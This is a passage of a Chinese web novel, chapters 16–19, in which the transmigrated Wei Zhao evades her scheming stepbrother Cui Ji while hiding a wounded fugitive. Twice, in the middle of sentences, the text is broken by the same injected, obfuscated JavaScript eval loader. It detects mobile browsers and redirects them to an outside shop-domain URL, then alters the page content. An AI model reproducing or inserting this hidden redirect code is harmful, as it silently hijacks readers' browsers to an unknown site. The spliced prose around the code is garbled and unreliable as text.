须臾,魏昭将一切都串联起来。 所以崔明静今日找她来,不是让她挨骂的,而是让她来背锅的,当真是好算计。 她惹不起,躲还不行吗? “夏姨娘,你有没有事?” 夏姨娘下意识想捂着自己的肚子,手刚碰后立马放开,装作无事的模样,“我没事。” “我瞧你脸色不太好,你最好还是找大夫看一看。”她看向崔明静,“二姐姐,你最是周全,若不然你帮夏姨娘请大夫来把个脉?” 崔明静愣了一下。 她又道:“我看三姐姐还生 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“四妹妹,这么早是要去哪里?” 魏昭万没想到会撞上崔绩,一时有些头大。 “我挂念家里的那只猫儿,也不知它是不是又乱跑了,这才急着回去。” “原来是这样。”崔绩一脸的云淡风轻,慢条斯理地道:“我还以为四妹妹当崔家是龙潭虎穴,恨不得逃离。” “……” 她怎么不知道这个男主还是个伶牙俐齿阴阳怪气的主! “四妹妹这是想走着去?” “我索性没什么事……” “不是急着回去?为何又不急?” “……” 这一大清早的找茬,难道是故意的? 她暗自猜测怀疑不断,一时不知该如何作答。 “上来,我送四妹妹一程。” “兄长公务繁忙,我怎好麻烦于你。”她想也不想,立马拒绝,同时脑子里警铃大作,已经明白这个男主到底想做什么。 送她回去是假,意欲到她家里查探才是真! 忽然她想到一种可能,她的马车车轴断裂或许不是巧合,而是有人故意为之。若真是如她所想的这般,更不能答应。 “兄长你不用管我,我自己怎么着都能成。” 崔绩压着眉眼,看她的目光清冷而坚决,“这事既然让我遇上,万没有不管你的道理。你身子骨一向不好,若真走着回去,累出个好歹来,明日你还怎么来吃团圆饭,若是父亲问起,你娘该如何应对?” 竟然还扯上她娘和继父! 心机男,妥妥的心机男。 “兄长放心,我绝对不会累着我自己,更不会耽搁明日的事。” 她快速瞟了崔绩一眼,对上那冷泉般冒着寒气的眼神,心底隐隐有些发毛,莫名有种被阴湿蛇类盯上的错觉。 实在不行,她不回去还不成吗? “若不然,我不走了。兄长你赶紧去上衙,我这就回府。” 她给白鹤使了一个眼色,转身往回走。 倏地,她感觉到危险,身体下意识想躲时,猛不丁回过神来,逼着自己没有避开,腿窝处生生受到一击,本能地膝盖一弯,整个人跌跪在地。 16.第 16 章 “姑娘!” 白鹤惊呼着,连忙伸手拉她。 她又气又怒,还不能发作出来,只能恨恨地攥紧拳头,低着头瞪着地面,似是将地面当成某人的脸,作势要瞪出几个窟窿眼来。 “我就说四妹妹身子弱,不宜自己走回去。” 冰玉相击的声音渐近,她的视线中出现一抹雪色的白。顺着这抹白往上看,是在死亡角度下仍然如冰壁成画的一张脸,俊美到天怒人怨。 这心机男竟然算计她! 若不是顾忌太多,她何需虚与委蛇。但话又说回来,这位继兄连方才那样不入流的招数都使出来,恐怕她今日无论如何都躲不过去。 只是一瞥,她重又低下头去,声音娇且闷,“兄长说的是,我还是不走为好。” “四妹妹担心家里的猫儿,不走的话怕是会心神不宁。若不然为兄受个累,替你跑一趟?” 当然不行! 她未曾事先知会于人,风师公和月婆婆定然没有准备,一旦这人突袭而去,李戌必会暴露无疑。 进退两难的境地,走也不是,不走也不成。相比不走的后果,或许一起同往还有转机。 “我怎好如此麻烦兄长。”她借着白鹤的力站起来,为怕自己眼里恨光还在,继续半敛着眼皮不看人,“兄长若是顺路,那我就厚着脸皮搭乘一程。” “你我兄妹之间,委实不必太过客气。” 崔绩低眉看她,只觉她这憋气鼓鼓的模样像是讨不着吃食的猫儿,分外的鲜活可爱,一时有些心痒,垂在袖子下的手指动了动。 他让开路来,给她做了一个请的姿势。 她福了福身,有礼而娇态毕现。 绿腰如细柳,不堪一手握,纤弱与绮丽处相得益彰,似新出水的含苞芙蕖,俏生生的亭立着,那萦绕的水气氤氲,是雾气,也是生气。 两人一前一后上马车,先上马车的人是她。 他随后上来,坐在她对面。 人前相见已是暗藏机锋,不大的空间内独处更是让人胆战心惊。 她压根无心享受比自己马车舒适不知多少倍的软垫地毯,正襟危坐着,一副很是守礼不敢有丝毫逾矩的模样。 崔绩见之,缓缓垂下眼皮。 “暗格里有点心零嘴,你自便即可。” 他说到做到,当真让她自便,只管自己闭目养神。 她颇为谨慎地瞟他一眼,惊艳之余,腹诽不断。 这人还真是现实,一旦目的达成便理都不理人,再也不四妹妹长四妹妹短地和她表演什么兄妹情深。 从种种迹象来看,他是个面冷心黑的主。 但皮囊是真好看! 神子般的容颜,出尘绝艳,眼尾处那颗美人痣如画龙点睛之处,在这抹绝色中添了重要的一笔。 哪怕不知书中后半段的剧情,她也能猜到他和女主在一起后,必定是成日里颠鸾倒凤解锁各种不可说的姿势。 啧啧…… “四妹妹为何这般看我?” 这人不是闭着眼睛的吗?怎么知道她在看他的? 她也不掩饰,脱口而出,“兄长貌美,我一时看得入了神。” 崔绩倏地睁开眼睛,寒气森森,“此等轻浮之言,四妹妹以后切记不可对外人说。” “我也就在兄长面前说……兄长,我知道了。” 她心里是全然的无所谓,面上却装作受教的样子。 或许是她表现的还算听话,崔绩没再说什么,重又合上眼皮。 马车行得不算快也不算慢,包裹着错铜铁皮的车轱辘碾着青石板,发出沉闷厚重的声音,一下下地压在她心上。 她小心翼翼地揭开车帘的一角,窥着外面的情形。等到马车驶进一条香气馥郁的街道时,她心下顿时一喜。 也不管有没有打扰到人,直接开口,“兄长,我的胭脂用完了,若不然你把我放在这里,我买完之后自己回去就好。” 崔绩闻言,并未睁眼,“无妨,我等你。” 她有些失望,装作感激的模样,下了马车后直奔一家面妆铺子,那铺子的匾额上写着几个花体字,正是人面桃花。 * 半刻钟后,有人轻叩马车,“崔少尹,你可在里面?” 崔绩听到沈弼的声音,淡淡地“嗯”了一声。 很快沈弼熟门熟路地上来,将他好一通打量后,不无揶揄地道:“听说你昨晚被人算计中毒,我怎么想都觉得不信。你崔孝白的鼻子比追命还好使,什么味都能闻出来,万不可能中招?你说说看,你是不是将计就计?” “内宅的龌龊争斗,我自是不比你沈怀悯经验丰富。” 沈弼听到这话,冷哼一声,“还会挖苦我,看来确实没事。” 两人幼年相识,后又同在军中出生入死过,情谊自是非比寻常,更是知根知底。 济宁侯府在京中时常被人提及,并非是因为侯府的威望,而是沈弼的父亲济宁侯的风流韵事太多。 据说沈弼的母亲就是因为丈夫的不知节制,三天两头的在外面拈花惹草,或是纳妾迎新而活活气死的。 他虽是世子,在府中却也不得意,若不然当年也不会一气之下去边关投靠崔绩。 崔绩与他皆是京中有名的青年才俊,都未有婚约。一个是为人太冷清,避女子不及,另一个则是家中乌烟瘴气,庶出的兄弟姐妹太多让人避之不及。 他哼哼两声后,一手扶额,“你说,一个伤重之人,如何能凭空消失不见?我总觉得此事不简单。” 崔绩不回答,一点也不妨碍他继续说下去。 “江昌义的老娘成天哭哭啼啼的,心疼自己的儿子死了都不得安生,也不能入土为安,说要是再不找到凶手,她就去御前告你我的状。”他肃杀的脸上隐有几分无奈,“江昌义就是个扶不上墙的烂泥,但他老子曾是先帝的伴读,他老娘在太后娘娘那里很得脸面,若是再不抓到凶手,只怕你我都要吃不了兜着走。” “蜚蠦之虫,死而遗臭,着实是有些恼人。”崔绩抿着唇,压着的眉骨下面,眼神深得可怕。 “骂得好!”他剑眉微微一挑,瞧着少了几分冷峻,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852611|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些意气。“营蝇之辈,死了都脏地方。可京里不比军中,你我如今又居于这样的位置,不仅不能袖手旁观,还得替那糟心的玩意儿讨个说法,好不叫人憋屈。” 这话他也就私下说说,且还是当着极其交心相熟之人,否则一旦传出去,他大理寺少卿的位置也就坐到头了。 崔绩与他相交多年,对他人前冷酷,人后话痨自是见怪不怪。 “有些事不能急于一时,大理寺与安元府悬案不少,也不差这一桩,抓不到就暂且先搁下。” “你是说……” “这事我心中有数,你就别管了。” “行。” 他神色一松,双手环胸好整以暇地往后面的软垫子一靠,“方才我好像瞧见你四妹妹从你马车上下去,你这是陪她出来逛街?” “顺道送她回家而已。” “顺道?”他笑了一下,“真看不出来你还是个好兄长,不过也难怪,你四妹妹独居在外,又长得那么招人眼,你这个当兄长的不放心也是应该的。但我瞧着她手底下的人都还算机灵,想来是个识人善用的,应该有几分本事。” 崔绩眼尾一动,底下那颗美人痣越显魅惑,语气却极平极淡,“她确实有几分本事。” * 魏昭回到马车时,是近半个时辰后,沈弼已经离开。 她一上来就连声自责,声音越来越小,“铺子里的掌柜很是热络,一时让我试这个,一时让我试那个,我实在是不好拒绝。兄长,你是不是等急了?” “你要的东西可买到了?”崔绩似是全然相信她所说,未有半点的怀疑。 “买到了。”她献宝似的取出几罐东西,“这铺子里的桃花粉最是紧俏,抹在脸上轻薄且透,看着就像没有敷粉一般。掌柜的说这批货是新改的方子,比以往更好用,兄长你看我脸色是不是比方才好了些?” 车厢内光线并不明亮,相较于外面的阳光晴好,多少有些晦暗,却掩不住她的光彩。娇好的芙蓉面,羊脂玉白的肤色,隐见朦胧的气血粉,恰似招摇的桃花,耐不住春色地探出墙外。 崔绩似被这出墙的桃花晃了眼,皱了皱好看的眉头。 “坐好。” 她立马坐正,一副乖巧的模样。 心里却在想,看来男主已经开始讨厌她了。之所以搭理她,无非就是想从她这里下手,找到更多的破案信息而已。 也罢。 讨厌就讨厌吧,谁让她拿的是恶毒女配的剧本。 一路再无话,直至抵达魏宅。 “多谢兄长相送,我到了,兄长慢走。”她说罢,迫不及待地准备下去。 崔绩长臂一展,迅速捉住她纤细的手腕。 那微眯的眼睛,寒凉中带着几分漫不经心,似是冬眠刚醒的蛇,慵懒地吐着贪婪的信子,“四妹妹,我渴了,可否去你家讨口水喝?” 同样的事,她不可能拒绝两次。 手腕上被禁锢的力道告诉她,根本没有转寰的余地。 她提着心,眉眼却是一弯,懂事地应了一个“好”字。 17.第 17 章 白鹤上前敲门,好半天风师公才颤颤危危地开了一道缝,看清是他们后欢喜起来,忙不迭地将门大开。 “姑娘,你回来了,家里一切都好。” 这是一句暗语,意思是一切已经安排妥当。 魏昭点点头,将崔绩请进去。 院子里,所有人都在。月婆婆在清扫柿子树下掉落的小青柿子,戴着人皮面具的人正在整理墙边的花圃。 崔绩视线一扫,似无意般提起,“这人的身契可换了?” “兄长你是知道的,我这几日实在是忙,还没顾得上这点小事。”魏昭像是很羞愧般,紧接着又正起神色,“兄长放心,这事我心里有数,这人我也另有用处。” “你当真不需要我帮忙?” 崔绩这话似是一语双关。 魏昭装作听不懂的样子,表示自己会处理好。 客人上门讨水,怎么可能光是喝茶,还得备上些点心果脯,统统摆在院子里的石桌上。 她一个眼色,众人立马识趣地退下。 崔绩掀着衣摆坐在石凳上,如赏景般环顾着院子里的一草一木,清冷的眼睛里浮现出一抹难懂的情绪。 “这院子不错,闹中取静,自成天地。” 她从他的语气听出几分羡慕,心道这怎么可能? 他是崔家的大公子,华阳大长公主的亲外孙,不管是崔府还是公主府,那都是格局雅致占地不小的大府邸,岂是这样的小宅子能比? “兄长过誉了,这就是个普通的民宅。” “宅子是不大,却是你自己的家。” 这话怎么听着更不对。 魏昭不好接话,只能笑笑。 崔绩修长的手指轻叩着石桌坚实的面,清冷的目光越过中间的院墙,看向那座无人居住的空宅子。 “四妹妹可还记得以前隔壁住着什么人?” 魏昭心一紧,装作仔细回忆的模样,斟酌道:“我小的时候,隔壁住着的是李叔一家。当年我父亲和李叔的事,想来兄长也听说过。后来宅子就易了主,换成一户姓张的人家。张家人住了几年搬走,再后来宅子就空了。” “你说的李叔,原名叫李威,我看过卷宗,他还有个儿子,想来应是你小时候的玩伴。” 她更是觉得心中警铃大作。 这人此时提起李戌,会不会是知道了什么? “我小时候确实和李家哥哥玩得好,只是李叔出事后他就被人接走了。” “那这么说来,四妹妹对李家的事知道的也不多。” “我那时候年纪太小,很多事都记不住。” 她说的不是假话,对于过去的事她确实知之甚少。 崔绩像是信了她的话,低头去喝茶,薄唇还未沾到茶杯,忽地来了一句,“那你应该也不知道,李威曾经在漠北军中效力一事。” 漠北军三个字如一道惊雷炸响,裹挟着的不仅仅是电闪雷鸣,还有令人闻之色变的血雨腥风,因为漠北军所属之人,正是当年四王之乱之一的漠北王。 那时独孤皇族势弱,军权全在两大异姓王手中,一是拥兵边关的漠北王,二是把持朝政的平南王。 二王位高权重,所寄望支持的皇子都不是先帝。漠北王与燕王是结义兄弟,自是燕王一派。平南王是晋王的亲舅父,当然是晋王一党。 先帝虽是嫡出,却只能依靠胞姐独孤岚。 当平南王起势帮晋王夺位时,漠北王亦有蠢蠢欲动之相,是独孤岚一力平乱,将四王镇压下去,扶先帝上位。 皇权争斗之下,是无数生命的血流成河。先帝登基之后,她帮着肃清朝堂,不知清剿多少四王余孽,菜市口日日断头横尸,附近的人白天都不敢出门。 她的雷霆手段哪怕是后来人听说,亦是胆寒不已。 魏昭不自觉地抖了抖,寒意从脚底窜起。她摸不透崔绩到底掌握多少信息,却知道一旦与四王余孽扯上关系,自己就别想有安生的日子。 “兄长,你说的都是真的吗?” 不用装,她的脸色已白。 崔绩撩着眼皮,用一种奇怪的目光看着她,很冷很淡,却如夜枭觅食。 “四妹妹不必害怕,我之所以和你透露这些,是无意间翻看过当年你父亲与李威的卷宗,很是替你父亲感到惋惜。若你有李威之子的消息,请务必告诉我,我有些事想问他,或许能弄清楚你父亲究竟是为何牵连被杀。” 她听懂了这话里的意思,心口发着凉,又凉又难受,同时又有几分疑惑,疑惑这人倒不像是来兴师问罪,而像是来提醒她的。 但这可能吗? “兄长放心,若我有李家人的消息,一定会告诉你。” 崔绩像是信了她的话,起身告辞。 临走之前看了一眼那棵硕果累累的柿子树,似不经意般来了一句,“待到柿子熟时,四妹妹记得给我留几个。” 她自是应下,将人送出门去。 门一关上,她立马上闩,深吸几口气后,才慢慢走到那结满柿子的树下。 枝繁叶茂间,绿色的柿果无处不在,但较之刚开始时已经稀疏不少。不必人为,而是物竞天择,不是每一个果子都能顺利长大成熟。 人也一样。 戴着人皮面具的男子过来,小声向她请示,“姑娘,我是不是可以走了?” 这声音不是李戌,而是方勒。 方勒是她收留的流浪儿,也是她可以信任之人。先前一进人面桃花,她就让他立马赶到魏宅,扮成李戌之前示人的模样。 “等会吧。” 那人太过狡猾,她不能掉以轻心。 一个时辰过去,崔绩并没有折回,她这才让方勒卸去人皮面具后走人。 她向风师公和月婆婆询问过李戌的情况后,一起去到后罩房。 李戌正好醒着,应该也听到一些动静,知道崔绩来过,虚弱的脸上满是过意不去,“知之妹妹,我给你添麻烦了。” 并不算长的一句话,他说完之后却是气喘不已。 她想了想,并没有问他们李家是否和漠北王有牵扯一事,只说起自己夜探敬远伯府之后的发现,以及自己的猜测,“江昌义应是已死,大理寺的人之所以瞒着,且故意放出他活着的消息,恐怕还是想引你现身。” “他死了就好,我也能对我爹和魏叔有个交待。”他饱含愧疚与怀念的眼神,毫不掩饰地看着她,“谢谢你收留我,我已能下地,我今晚就走。” 她心下一声叹息,虽明知他的表现像是苦肉计,也知这样的麻烦还是早些摆脱为好,却还是有些于心不忍。 “你的朋友可能帮你离京?” 他摇了摇头,“我不愿再牵连其他人。” 一阵沉默。 “你替我报了仇,我救你帮你都是应该,等你身体养好了,我会想办法助你脱身离开,以后的事你自己好自为之。” 当年的事,或许另有隐情。 不管是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857338|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私仇也好,与漠北军有关也好,魏幸都是被牵连之人。而她不想再被卷入,所以这番话暗藏的深意,是希望此事过后,他们之间两清。 他是个聪明人,显然听懂了她的意思,看向她的目光带了几分探究与复杂。 良久,有些黯然地道:“这些年不见,知之妹妹,你变了许多。” 她不避他的目光,声音很轻,“我们分开太久,久到都像是变了一个人,过去的种种对你我而言都像是上辈子。” “是啊,那时我们何等快活,似是半点烦恼也无。如今想来,还真像是上辈子。”他感慨着,神情充满惆怅。 药香也遮盖不住血腥气的屋子里,流动的空气中都是令人压抑的沉重,当沉默漫延时,留下来的是时光切割出来的生分。 这种生分无法弥合,因为已经物是人非。 非人的非。 * 月悬中天时,魏昭还无睡意。 她抱着白小姐窝在一起,透过大开的窗户看着天边那形状还不完美的银盘。 白小姐眯着眼,一脸享受地被她抚摸着毛发,静谧的气氛中,一切都显得美好而温馨,恍若岁月安稳。 突然远处传来几声猫叫,白小姐立马竖起耳朵,开始挣扎着要走。 白鹤在一旁打趣,“看它这耐不住的模样,那叫唤的不会是它的情郎吧?” 它转过头,用琉璃的大眼睛看着魏昭,似是想出去玩的小孩,可怜巴巴地乞求着家长的同意。 魏昭忍俊不禁,“你这三天两头的不着家,成日想着往外面跑,我就纳闷了,外面到底有谁啊?” 索性她也睡不着,不如跟过去看看。 她将它一放,然后快速跟上。 一人一猫飞檐走壁的穿过巷子,如两道流影。她一路追着它,直到它消失在一处高墙之内。 高墙上爬着苔藓与藤蔓,看上去荒芜而阴森,曾经的丹砂翠瓦已不复多年前的璀璨,变得黯淡无光。威严庄重的大门,铜锁早就锈迹斑斑,隐约还可见被风雨侵蚀多年不可辨认的封条。 她知道这个地方,原主的记忆中曾和李戌时偷摸进去过。 四下一环顾,确定没有人看见后,她一个利落的跃身,人已到墙的另一边。 这是一方久未有人居住的天地,比她记忆中的更加杂草丛生,直的缠绕着的无处不在,俨然快要覆盖原有的雅致布局。 她屏着气,听到不远处传来的猫儿嬉闹发出来的动静。 一只两只三只……不知有多少只。 无人居住的府邸,沦为猫儿们的乐园,倒也不让人意外。 她心下失笑,暗道或许对于白小姐而言,这里才是真正的家,而她的宅子不过是它偶尔的歇脚之处。 越是往前走,动静越大。那些猫不像是嬉闹,而像是在抢食。她轻手轻脚一地步步靠近,等看清楚时大感震惊。 月华的银辉之下,白衣如雪的男子如谪仙降世,散去一身的清寒之色,周身笼罩着温润如玉的暖光。 他专心致志地喂着猫,温柔地抚摸着它们的毛发,如同爱护子民的百猫之王。 更让她震惊的是,这个人居然是崔绩! 崔绩倏地朝她这边看来,目光瞬间凛冽,“谁?” 她大惊,下意识躲到爬满藤蔓的假山后。 屏气凝神间,听到落雪般的脚步一步步朝她走来,她的心也跟着一点点地提起。 看不到我,看不到我…… 18.第 18 章 杂草与藤蔓氤氲的青气中,崔绩隐约闻到一丝极淡的清甜香。 他眸色幽沉,在假山的这边停下脚步。 两人就这么隔着假山,一个憋气快憋死,另一个则悠闲惬意地守株待兔。 时辰慢慢地流逝着,他们谁也没有动,直到白小姐不知从哪里窜出来,一下子扑到魏昭身上,发出求抚摸的喵喵声。 “还不出来?” 冰玉相击的声音,在这样的夜里听来像是魔鬼的低吟。 魏昭没法再继续躲着,抱着猫小心翼翼地探出头来,与他四目相对时,心有余悸地道:“吓死我了,我还以为是坏人呢,没想到是兄长。兄长,你怎么会在这里?” 崔绩似笑非笑地看着他,“这话我应该问四妹妹才是,这么晚,你怎么会到这样的地方来?” “我是追它追到这里的。” “那你可知这是何处?” “小时候听人说过,好像是什么王爷的府邸。”她小声地回着,从杂草中慢慢走出来,或许是因为心虚,一时竟没注意脚下的藤蔓,险些被绊倒。 男人修长的手臂一捞,才让她免于扑在地上。 纵是隔着衣物,她仍能感觉到他掌下的灼热,烫着她娇嫩的皮肤,本能地以最快的速度脱离他的搀扶,保持着安全的距离。 “多谢兄长。” 他收回去的手慢慢成拳,似是想掬住什么东西,“你一个姑娘家,夜里还是莫要乱跑的好,这种地方久无人住,藏着的可不仅仅是蛇虫,还有很多见不得人的东西。” 魏昭装作受到惊吓的样子,心下却感慨着自己的倒霉,最近似乎总是很寸,或许是觉醒剧情的缘故,每次都让她这个恶毒女配和男主撞上。 突然视线之中出现一条小鱼干,顺着小鱼干往过看,是一只修长如玉骨节分明强劲有力的手。 她接过小鱼干,拿着让白小姐吃。“我就说它不想着家,成日往外面跑,还把自己养得膘肥体壮的,原来是兄长在喂养它。” 所以白小姐外面的人是这个人。 先前那猫叫唤,或许是一种猫儿们之间才能听懂的暗号,呼朋唤友地前来享用美餐。 “兄长很喜欢猫?”她问。 崔绩不置可否。 那些猫儿应是已吃完东西,不约而同地朝这边围过来,在他的脚边打着转。他一把抱住一只往自己身上爬的黑猫。那娴熟自然的样子,看着可不仅仅是喜欢这么简单。 魏昭有些纳闷,既然这么喜欢,那为何不光明正大地养几只? 难道是怕被别人知道自己喜好? “兄长若真是喜欢,何不留几只温顺的在身边,也能聊以慰藉。” 她这话一说话,便再次和他的目光对上。 或许是月色正浓,她竟然在他的眼睛看到淡淡的失落。 他将黑猫放下,背手望月,“我四岁那年也养过一只白猫,如雪团子般惹人怜爱,我偷偷将它养在自己的屋子里,每一日都很快活。 那天外祖母来看我,当场喘不上气晕过去,险些没命。事后她身边的人将我屋子围住,搜出了白猫,当着我面将它摔死。” 她愕然。 照这么说来,华阳大长公主应是对猫毛过敏,但那些人把猫找到后送走不就完了。若真是要处理,也大可以背着一个年幼的孩子,根本没有必要当着他的面弄死。 除非是那些人,其实并不在意他这个小主子。 那时年幼的他,肯定很害怕很难过。 “你这是什么眼神,同情我?”他睨过来,冷冷地问她。 她摇头。 这人可是男主,怎么着也轮不到她一个恶毒女配来同情,若说同情,她同情的人应该是自己。 “我不是同情你,我是想到我自己。我先是丧母,后又丧父,上次三姐姐还说我是克父克母之人。兄长你也没有娘,就算是有外祖母相护,想来从小到大也曾听过一些不好听的话。你说像我们这样的人,是不是到哪都会被人忌讳?” 她在表演! 如果她所做的一切注定要被男主发现,让男主厌女的同时对她极其的厌恶,落得一个凄惨的结果,她是不是应该提前做些什么? 比方说借机和男主拉近关系,与之扯上一些无关崔家无关书中设定的关系,那么在她不断地作死走完剧情之后,男主会不会因为一丝恻隐之心而放过她? “你觉得我们是同一种人?” 崔绩忽地欺近,或许是因为气势太过骇人,吓得她怀里的白小姐一下子窜得老远,眨眼就消失在杂草丛中。 她想起这人的手段,以及白无常之名,莫名有些发怵。 方才还觉得是个神仙般的人物,哪成想一变脸立马就是个阴森恐怖之人。 “我与兄长,当然不可能是一样的人。我出身低,也没什么本事,哪里能和你相提并论。”她吸了吸鼻子,声音有些哀伤,“我就是想到我父亲不在的那段日子里,有所感慨而已。 说来也是奇怪,那时我像是做了一场梦,忽然觉得自己好像不属于这里,这里的人和物,阳光与月色,似乎都和我无关。我仿佛是被流放至此,天大地大独我一人。” 崔绩闻言,清幽的眼神骤然如渊。 她心里发着毛,却一脸的懵懂,“兄长为何这么看我?难道你也曾有过这样的感觉?” “时辰不早了,你该回去了。”他敛下眼皮,不再看她。 交浅不宜言深,以他们的关系,远没有到可以交心而谈的地步,今日能说到这个份上,对他们而言都是意外。 她福了福身,道:“那兄长你也早点回家。” 家这个字,让崔绩皱了皱眉。 等到她的身影不见,半南悄声过来,不解地问他:“公子先前为何不让我派人拦着四姑娘?万一她说出去……” “她不会的。” 他还望着她消失的方向,眼底一片晦暗。 * 月无声,夜无声。 过了一会儿,他们一前一后原地不见。 当他们再次现身时,已在公主府的门外。 崔绩进府后的第一件事就是沐浴更衣,收拾妥当后去见自己的外祖母。 独孤岚 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“你办事不利,谢我有何用?我萧家军中纪法严明,若未能完成命令者该如何处置,你应该很清楚。” “孙儿不敢有违,这就去领一百军棍。” “且慢!”独孤岚叫住他,眉眼微微地抬着,似是施恩般,道:“你如今是安元府的少尹,还得为陛下效劳,一百军棍势必要养上几日,不如减半,五十军棍吧。” “多谢外祖母。” 五十军棍不作虚,实打实的打在身上,绝非一般人能受得住。 施罚的人颇有技巧,哪怕每一棍都很实在,受罚之人的身上也未见皮开肉绽,全是隐在皮下的内伤。 因着没有出血,衣服也没沾身,倒是很好脱除。 “殿下还是不愿公子你插手当年之事,那樊城大牢我们还是进不去。” 斗南口中的樊城大牢,不在大理寺、刑部、安元府三司管辖之内,而直接隶属于独孤岚的权力之下。 四王之乱的重犯,以及当今圣上夺嫡时的一些要犯,统统都关在那座大牢中,若无她的同意,谁也不能提审里面的人。 外衣里衣全被脱去,崔绩趴在床上。 宽肩窄腰的后背上,除去陈年旧伤留下的疤痕外,就是受棍刑之后的条状淤紫,皮下血点密布,却未破皮。 斗南替他上药时,不免心疼地嘟哝,“殿下也太狠心了,你可是她嫡亲的外孙,她怎么能说打就打,半点情面都没有。” “五十军棍而已,外祖母已经法外容情。”他趴在床上,虽状态有些狼狈,如玉的脸上却未有什么波澜。 “她是公子的亲外祖母,哪有外祖母对亲外孙这么狠心的,哪怕是看在郡主的份上……”斗南话一出口,便知自己失言,赶紧闭了嘴。 他慢慢地抬眼,望向那墙上的画。 画中人娇弱贵气依旧,眉间的愁容永远挥之不去。 良久,他清冷的眸中泛起一抹嘲弄之色。 19.第 19 章 * 天将黎明,原是一夜之中最为至暗之时。 但因为有月,反倒皎明如昼。 月色可引路,助人无声去。 魏昭隐在窗后面,任由月影在她眼眸中时而清耀,时面晦暗。 月婆婆默默地过来,隔着雕花的漆木格纹,低声向她禀报,“人已经走了,我按着姑娘的吩咐给他备足了伤药,还给了他一些银两。银两他没收,伤药全都带走了,还留下一封信。” 信上不过寥寥几个字,写着:谢谢,后会有期。 先前李戌使苦肉计,无非是想留下来,倘若没有她的那些话,他应是无论如何也养一段日子再走。 人心如朝露,一念起,一念灭,其实都在转瞬之间。 她和李戌的瓜葛,算是两清了。 天亮时有消息传来,大理寺的人已撤离敬远伯府。 与此同时一道传出来的还有江昌义的死讯,伯府对外的说辞是他伤得实在是太重,这几日一直命悬一线,最终伤重而亡。 伯府挂起白幡,府中上下全着了孝,人应该确实是死了。 这事倒是快,也太过及时,像是掐好日子似的,完全踩中她的节奏,她怎么想都觉得太过巧合,派人出去打听一番。 辰时许,方勒来见她,除去告之大理寺和安元府衙并无异动的消息外,还告诉她另一件事,那就是幽篁馆今日有人出城,出城的人是洛公子,与之一道的是一位姓吴的商贾。 那吴姓商贾是他的恩客之一,美其名曰带相好的去京外游玩。 一切都很正常,办丧的办丧,行乐的行乐。 人世间的悲欢离合,从来都是自己的事,与旁人无关。 白小姐在白鹤的怀里叫唤着,双耳飞起,琉璃大眼瞪着铁细网笼子里的那两条石龙子,不停地哈着气,一副炸毛要战斗的架势。 笼子做得很大,里面仿着野外的环境,底下铺着草皮,上方放置充做树丛的枝条,那两条石龙子一条躲在角落里,另一条趴在枝条上。 “这石龙子是南州之物,也不知在这里能活多久。”白鹤感慨道。 南州湿热,而安元府干冷,这个时节里还好说,若是到了冬日里,像石龙子这样喜湿喜潮又不耐寒的生物,极有可能挨不过去。 那么李戌呢? 魏昭想,他此时必是已远离了危险之地,身边还有人,应该不会死。 “能不能活,就看他们的造化。” 不管是对人还是对物,她已做到自己应尽的地步,至于结果如何,只能是听天命。 而今摆在她面前的,还有一个不得不面对的问题,那就是李戌的离开,她该以何种解释自圆其说? 依照大周律例,举凡买卖下人、放妾还籍之事,皆应该去府衙过明路。 当然律法之下,亦有不少人钻空子。比如说之前她未将白契换红契之事,搁在很多高门内宅中都不少见。 倘若没有人见过李戌,那么这事她也不用对任何人交待,坏就坏在李戌的存在不少人知道,大理寺那边她可以不必理会,崔绩那里她是无论如何都要有个说法的。 一则他摆明对李戌上心,二则他是安元府的少尹,统管着这些事。 更有第三则,他还是她的继兄,抬头不见低头见,躲不过绕不开的那种关系,所以她不得不和他说。 * 申时许,离府衙关门没多少时间,她才忧心忡忡地赶到。 衙门外站着守卫,持长缨枪以待。左侧是獬豸神兽石雕,张牙舞爪威风赫赫,右侧是红漆牛皮的登闻鼓,硕大通圆仿若照不清人影的镜子。 她站在台阶之下,深吸一口气后上前。 守卫听她说是少尹的妹妹,来找少尹有事,忙将她请到仪门内。她望着正堂外匾额上的正大光明四个字,没由来的有些心虚,低下头去装作守礼生怯的模样。 严明肃穆之地,连地上的青砖都四四方方,端正到不近人情。 约摸一刻钟左右,她见到了崔绩。 明媚的光线之中,那抹绯色被渲染得分外的艳丽,衬得他冷玉般的脸如沐朝霞,俊美无双美不胜收。 他看到她的那一刹那,幽沉的眸中似有无数情绪错综而过。 “四妹妹怎么来了,可是有什么急事?” 这好听的声音,却让人毫无如沐春风之感。 魏昭打起十二分精神来应对,看上去一脸的纠结和愧疚,将忐忑不安与心虚的状态表现得恰到好处。 她的出现如同一阵香风,不多时吹遍府衙。 衙门上下很快都知道自家少尹有个长得像天仙人物的妹妹,争先恐后地装作有事没事地进进出出,偷偷地看着他们。 崔绩见之,不着痕迹地挪了几步,正好将她遮住,隔绝着那些人窥探的目光。 她低着头,并未注意到这一点。 “兄长,我有一事想来请教你……” “你说。” “我新买的那个下人,他昨晚上突然求我,说他原本出身不错,还是个识文断字之人,却不想他父亲死后被堂亲算计,为了夺他的家产将他发卖为奴,几经转手之后被我买下。 他求我放他走,等他夺回家产报仇之后定会好好报答我。我对他的遭遇深表同情,一时不忍生了恻隐之心,便让他走了。” 